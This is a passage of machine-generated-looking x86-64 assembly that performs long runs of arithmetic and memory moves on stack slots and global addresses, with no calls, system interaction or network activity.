xor eax, ecx
mov rcx, qword [rsp + 0xae58]
mov byte [rcx], al
movzx eax, word [rsp + 0x1130]
movzx ecx, word [rsp + 0x11d0]
sar eax, cl
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc40]
mov ecx, dword [rsp + 0x4468]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019c0f4], eax
lea rax, [rsp + 0x3b60]
mov qword [rsp + 0xd5c8], rax
mov eax, dword [rsp + 0x4618]
movzx ecx, al
mov eax, dword [rsp + 0x4b1c]
shl eax, cl
mov dword [rsp + 0x4df8], eax
lea rax, [0x14019bf34]
mov qword [rsp + 0xd5d0], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc1b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x280], al
movzx eax, word [rsp + 0xb64]
movzx ecx, word [rsp + 0x1044]
and eax, ecx
mov word [rsp + 0xf5c], ax
mov eax, dword [rsp + 0x4798]
mov dword [rsp + 0x4ef4], eax
mov eax, dword [rsp + 0x4560]
mov ecx, dword [rsp + 0x4e2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc630]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44a8]
mov dword [rsp + 0x4ef8], eax
mov rax, qword [0x14019d998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4720]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dd98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ea0]
mov ecx, dword [rsp + 0x436c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x45a4], eax
lea rax, [rsp + 0x178]
mov qword [rsp + 0xd5d8], rax
mov rax, qword [0x14019de78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x1194], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcbc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ae], al
lea rax, [rsp + 0x10e8]
mov qword [rsp + 0xd5e0], rax
mov eax, dword [rsp + 0x35ac]
mov ecx, dword [rsp + 0x4228]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47b4], eax
lea rax, [rsp + 0x4170]
mov qword [rsp + 0xd5e8], rax
movzx eax, word [rsp + 0x13c8]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc958]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2b1]
mov rcx, qword [rsp + 0xcc88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14019bf2a], al
mov eax, dword [rsp + 0x4d90]
mov ecx, dword [rsp + 0x4c30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0xba80]
mov eax, dword [rax]
mov dword [rsp + 0x4efc], eax
mov eax, dword [rsp + 0x4ad4]
mov rcx, qword [0x14019ddf8]
mov qword [rsp + 0xd5f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x43c4], eax
lea rax, [rsp + 0x3e98]
mov qword [rsp + 0xd5f8], rax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov rcx, qword [0x14019d9e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a0], al
movzx eax, word [rsp + 0xd5c]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc80], ax
lea rax, [rsp + 0x4ab0]
mov qword [rsp + 0xd600], rax
mov rax, qword [rsp + 0xcd78]
mov ecx, dword [rsp + 0x4984]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40e4], eax
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0xc858]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bfde], al
mov rax, qword [rsp + 0xb308]
movzx eax, word [rax]
mov word [rsp + 0x1460], ax
mov rax, qword [rsp + 0xc110]
movzx eax, word [rax]
movzx ecx, word [0x14019c048]
and eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0xc040]
movzx eax, byte [rax]
mov byte [rsp + 0x2b4], al
mov rax, qword [rsp + 0xbb10]
mov rcx, qword [rsp + 0xc9b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0xd4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ae0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc640]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0xb8d8]
mov rcx, qword [rsp + 0xd098]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa6e8]
mov dword [rcx], eax
lea rax, [rsp + 0x4318]
mov qword [rsp + 0xd608], rax
mov rax, qword [0x14019da80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb600]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13f0], ax
lea rax, [rsp + 0x2af]
mov qword [0x14019e068], rax
mov eax, dword [rsp + 0x44b0]
mov ecx, dword [rsp + 0x4220]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab08]
mov dword [rcx], eax
lea rax, [rsp + 0x445c]
mov qword [rsp + 0xd610], rax
mov rax, qword [rsp + 0xc228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4230]
mov ecx, dword [rsp + 0x42a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x33c8], eax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x190]
add eax, ecx
mov byte [rsp + 0x18d], al
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0xa750]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xebc], ax
lea rax, [rsp + 0xf48]
mov qword [rsp + 0xd618], rax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x1b3]
sar eax, cl
mov byte [rsp + 0x1b0], al
mov eax, dword [rsp + 0x382c]
mov rcx, qword [rsp + 0xcb78]
mov qword [rsp + 0xd620], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd620]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019c0e0], eax
lea rax, [rsp + 0x4d0c]
mov qword [rsp + 0xd628], rax
movzx eax, word [rsp + 0x1220]
movzx ecx, word [rsp + 0xdd4]
or eax, ecx
mov rcx, qword [rsp + 0xc148]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [0x14019900e]
and eax, ecx
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0xd548]
mov eax, dword [rax]
mov dword [rsp + 0x4f04], eax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ce8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4aa4], eax
mov rax, qword [rsp + 0xd600]
mov eax, dword [rax]
mov dword [rsp + 0x4f08], eax
mov rax, qword [0x14019d8c0]
mov rcx, qword [rsp + 0xa6f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
mov byte [rsp + 0x2b5], al
movzx eax, word [rsp + 0x12b0]
mov word [0x14019e070], ax
mov rax, qword [rsp + 0xbd28]
mov rcx, qword [0x14019d9b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c68]
mov ecx, dword [rsp + 0x4170]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0xbc38]
mov eax, dword [rax]
mov dword [rsp + 0x4f0c], eax
mov eax, dword [rsp + 0x4f00]
mov ecx, dword [rsp + 0x3978]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb410]
mov eax, dword [rax]
mov dword [rsp + 0x4f10], eax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x13f8]
sub eax, ecx
mov rcx, qword [rsp + 0xa630]
mov word [rcx], ax
movsx eax, byte [0x14019bfb3]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc3b0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x1464], ax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x276]
add eax, ecx
mov byte [0x14019900f], al
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bfc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3acc], eax
lea rax, [rsp + 0x4b2c]
mov qword [rsp + 0xd630], rax
movzx eax, word [rsp + 0x1244]
movzx ecx, word [rsp + 0xef0]
sar eax, cl
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0xb978]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x119]
or eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0xd0d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcc40]
mov qword [rsp + 0xd638], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd638]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43a4], eax
mov rax, qword [0x14019dd48]
mov eax, dword [rax]
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0xabc8]
mov rcx, qword [rsp + 0xb230]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b54], eax
lea rax, [rsp + 0x170]
mov qword [0x14019e078], rax
movzx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0xc958]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0xbd98]
mov ecx, dword [rsp + 0x4258]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xace0]
mov dword [rcx], eax
mov rax, qword [0x14019deb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xceb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc10]
movzx eax, byte [rax]
mov byte [rsp + 0x2b6], al
movsx eax, word [rsp + 0x13fc]
mov rcx, qword [rsp + 0xaae0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb138]
mov word [rcx], ax
mov rax, qword [rsp + 0xc530]
movzx eax, word [rax]
mov word [rsp + 0x1468], ax
movzx eax, byte [rsp + 0x291]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc468]
mov byte [rcx], al
mov rax, qword [rsp + 0xcb78]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cc0], eax
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [0x14019ddf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c000], eax
lea rax, [rsp + 0x465c]
mov qword [rsp + 0xd640], rax
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0xbfd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb190]
mov dword [rcx], eax
lea rax, [0x14019dfd0]
mov qword [rsp + 0xd648], rax
movzx eax, word [rsp + 0xfcc]
movzx ecx, word [rsp + 0xdd4]
add eax, ecx
mov word [rsp + 0xf28], ax
movzx eax, byte [rsp + 0x15d]
movzx ecx, byte [rsp + 0x1f0]
sar eax, cl
mov byte [rsp + 0x224], al
lea rax, [rsp + 0x4ce4]
mov qword [rsp + 0xd650], rax
mov rax, qword [rsp + 0xb498]
mov ecx, dword [rsp + 0x4898]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4214], eax
mov eax, dword [rsp + 0x4894]
mov dword [rsp + 0x4f1c], eax
lea rax, [rsp + 0x4334]
mov qword [0x14019e080], rax
movzx eax, word [0x14019c0d4]
movzx ecx, word [rsp + 0xec4]
or eax, ecx
mov word [rsp + 0x1468], ax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0xc528]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa958]
mov byte [rcx], al
movzx eax, byte [rsp + 0x203]
mov byte [rsp + 0x2b7], al
movsx eax, word [rsp + 0x1364]
movsx ecx, word [rsp + 0x1074]
cdq
idiv ecx
mov rcx, qword [rsp + 0xaa70]
mov word [rcx], ax
lea rax, [rsp + 0x4bd8]
mov qword [rsp + 0xd658], rax
mov eax, dword [rsp + 0x49b4]
mov ecx, dword [rsp + 0x4b6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
movzx eax, byte [0x14019bf02]
mov byte [rsp + 0x2b8], al
movzx eax, word [rsp + 0xf2c]
mov rcx, qword [rsp + 0xae70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x126c], ax
mov rax, qword [rsp + 0xba68]
mov rcx, qword [rsp + 0xb278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bfc0], eax
mov rax, qword [rsp + 0xd4f0]
mov rcx, qword [rsp + 0xa740]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
lea rax, [rsp + 0x4180]
mov qword [rsp + 0xd660], rax
mov rax, qword [rsp + 0xc150]
mov rcx, qword [rsp + 0xcbc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4404], eax
movzx eax, word [rsp + 0x1134]
mov word [rsp + 0x146c], ax
mov rax, qword [rsp + 0xcce0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x263], al
mov rax, qword [0x14019dd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ef4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov dword [rsp + 0x4f20], eax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xb8b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b5c], eax
mov rax, qword [rsp + 0xcf28]
mov rcx, qword [rsp + 0xba60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bfbc], eax
mov eax, dword [rsp + 0x4b38]
mov dword [rsp + 0x4f24], eax
mov rax, qword [rsp + 0xc280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1250], ax
movsx eax, byte [0x14019bfde]
movsx ecx, byte [rsp + 0x1e5]
shl eax, cl
mov rcx, qword [rsp + 0xa8b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x83], al
movzx eax, word [rsp + 0x1010]
movzx ecx, word [0x14019e070]
sar eax, cl
mov rcx, qword [rsp + 0xd558]
mov word [rcx], ax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0xd668], rax
mov rax, qword [rsp + 0xcb18]
mov rcx, qword [rsp + 0xcb40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb4]
and eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0xc6c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x193]
add eax, ecx
mov byte [0x14019bfdf], al
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov dword [rsp + 0x4f28], eax
mov eax, dword [0x14019d830]
mov ecx, dword [rsp + 0x4eb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c48], eax
mov eax, dword [rsp + 0x3af4]
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0xbcd0]
mov rcx, qword [rsp + 0xacc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd658]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x2b9], al
mov rax, qword [rsp + 0xd568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1128], ax
mov rax, qword [rsp + 0xd400]
mov ecx, dword [rsp + 0x4e0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x497c], eax
mov rax, qword [0x14019d808]
mov eax, dword [rax]
mov dword [rsp + 0x4f30], eax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0xc8a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bff2], al
mov rax, qword [rsp + 0xd328]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc010]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xc2b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc598]
movzx eax, word [rax]
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0xc2a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcfe0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad18]
mov byte [rcx], al
mov rax, qword [rsp + 0xc690]
mov ecx, dword [rsp + 0x4cfc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf08]
mov dword [rcx], eax
lea rax, [0x14019c038]
mov qword [rsp + 0xd670], rax
mov rax, qword [rsp + 0xa6c8]
mov ecx, dword [rsp + 0x4a80]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe80]
mov eax, dword [rax]
mov dword [rsp + 0x4f34], eax
mov eax, dword [rsp + 0x4438]
movzx ecx, al
mov eax, dword [rsp + 0x4834]
sar eax, cl
mov rcx, qword [rsp + 0xb950]
mov dword [rcx], eax
movzx eax, word [rsp + 0x13dc]
mov rcx, qword [rsp + 0xc670]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11e4], ax
movzx eax, byte [rsp + 0x1b1]
mov rcx, qword [0x14019db00]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14019dbe0]
mov byte [rcx], al
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xd678], rax
mov rax, qword [rsp + 0xd3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc370]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb378]
mov eax, dword [rax]
mov dword [rsp + 0x4f38], eax
mov rax, qword [rsp + 0xccf0]
mov ecx, dword [rsp + 0x4af0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4620], eax
lea rax, [rsp + 0x140c]
mov qword [rsp + 0xd680], rax
movzx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0xbe68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbce8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12d8]
add eax, ecx
mov rcx, qword [rsp + 0xd140]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3d8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ba], al
mov rax, qword [rsp + 0xbb48]
mov rcx, qword [rsp + 0xd238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c0f8], eax
mov rax, qword [rsp + 0xd420]
mov ecx, dword [rsp + 0x4384]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa7c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1214]
mov qword [rsp + 0xd688], rax
movzx eax, byte [rsp + 0x2b9]
movzx ecx, byte [rsp + 0x1fb]
sub eax, ecx
mov byte [rsp + 0x1d1], al
mov eax, dword [rsp + 0x4e9c]
mov ecx, dword [rsp + 0x468c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c50], eax
lea rax, [rsp + 0x42dc]
mov qword [rsp + 0xd690], rax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4950]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb950]
mov dword [rcx], eax
lea rax, [rsp + 0x44e8]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1468]
and eax, ecx
mov word [rsp + 0x1374], ax
movzx eax, byte [rsp + 0x290]
mov rcx, qword [rsp + 0xbb08]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14019dd78]
mov byte [rcx], al
mov rax, qword [rsp + 0xd4d8]
mov rcx, qword [rsp + 0xb358]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3664], eax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f00]
shl eax, cl
mov dword [rsp + 0x39e8], eax
mov eax, dword [rsp + 0x44d4]
mov ecx, dword [0x14019c08c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e7c], eax
mov eax, dword [rsp + 0x4368]
mov dword [rsp + 0x4f3c], eax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [0x14019d990]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47a4], eax
movsx eax, byte [rsp + 0x28b]
mov rcx, qword [rsp + 0xc780]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0xd328]
movzx eax, word [rax]
mov word [rsp + 0x1474], ax
mov rax, qword [rsp + 0xd680]
movzx eax, word [rax]
mov rcx, qword [0x14019dab0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11cc], ax
movzx eax, byte [rsp + 0x2b0]
mov byte [0x14019d804], al
lea rax, [rsp + 0x4bd4]
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0xbb10]
mov ecx, dword [rsp + 0x434c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb8c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1198]
mov qword [rsp + 0xd6a8], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0xcfa0]
mov ecx, dword [rsp + 0x4330]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc680]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc070]
mov eax, dword [rax]
mov dword [rsp + 0x4f40], eax
mov rax, qword [rsp + 0xca50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4538], eax
mov rax, qword [rsp + 0xb220]
mov eax, dword [rax]
mov dword [rsp + 0x4f44], eax
movzx eax, byte [0x14019bf7f]
movzx ecx, byte [rsp + 0x284]
add eax, ecx
mov rcx, qword [0x14019da60]
mov byte [rcx], al
movzx eax, word [rsp + 0x11cc]
mov rcx, qword [rsp + 0xbe08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [0x14019e010]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd78]
mov eax, dword [rax]
mov dword [rsp + 0x4f48], eax
movsx eax, word [rsp + 0x1264]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc010]
mov word [rcx], ax
lea rax, [rsp + 0x232]
mov qword [rsp + 0xd6b0], rax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xdd], al
movzx eax, word [rsp + 0x11d0]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1204], ax
mov eax, dword [rsp + 0x4698]
mov dword [rsp + 0x4f4c], eax
mov rax, qword [rsp + 0xcad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e74]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d998]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4180]
movzx ecx, al
mov eax, dword [rsp + 0x4eac]
shl eax, cl
mov dword [rsp + 0x3cbc], eax
lea rax, [rsp + 0x4ef0]
mov qword [rsp + 0xd6b8], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47d8], eax
movzx eax, word [rsp + 0xf18]
mov word [rsp + 0x1478], ax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
mov rcx, qword [0x14019de50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0xd600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b9c], eax
mov rax, qword [rsp + 0xcbc0]
mov eax, dword [rax]
mov dword [rsp + 0x4f50], eax
mov rax, qword [rsp + 0xcd78]
mov rcx, qword [0x14019ddf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbae8]
mov dword [rcx], eax
lea rax, [rsp + 0x4c20]
mov qword [0x14019e088], rax
mov rax, qword [rsp + 0xc810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6f], al
movzx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0xd6a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc998]
mov word [rcx], ax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x1240]
add eax, ecx
mov word [rsp + 0x11a4], ax
lea rax, [rsp + 0x166]
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0xd238]
mov rcx, qword [rsp + 0xc1d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42c4], eax
mov eax, dword [rsp + 0x4568]
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd4]
sub eax, ecx
mov word [rsp + 0xf00], ax
movzx eax, byte [0x14019bfd2]
mov rcx, qword [rsp + 0xc068]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0xb118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43f0]
or ecx, eax
mov eax, ecx
mov dword [0x14019bf48], eax
mov rax, qword [rsp + 0xbf28]
mov eax, dword [rax]
mov dword [rsp + 0x4f58], eax
mov rax, qword [rsp + 0xc7b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ee0]
shl eax, cl
mov dword [rsp + 0x47bc], eax
mov eax, dword [rsp + 0x491c]
mov dword [rsp + 0x4f5c], eax
movzx eax, word [rsp + 0x1060]
movzx ecx, word [rsp + 0xf90]
xor eax, ecx
mov rcx, qword [rsp + 0xba00]
mov word [rcx], ax
mov rax, qword [0x14019df20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcc20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x200], al
mov eax, dword [rsp + 0x4d0c]
mov dword [rsp + 0x4f60], eax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [0x14019e048]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xca68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4418]
mov dword [rsp + 0x4f64], eax
lea rax, [rsp + 0x4d70]
mov qword [0x14019e090], rax
mov rax, qword [rsp + 0xbde0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c64], eax
lea rax, [0x14019bf04]
mov qword [rsp + 0xd6c8], rax
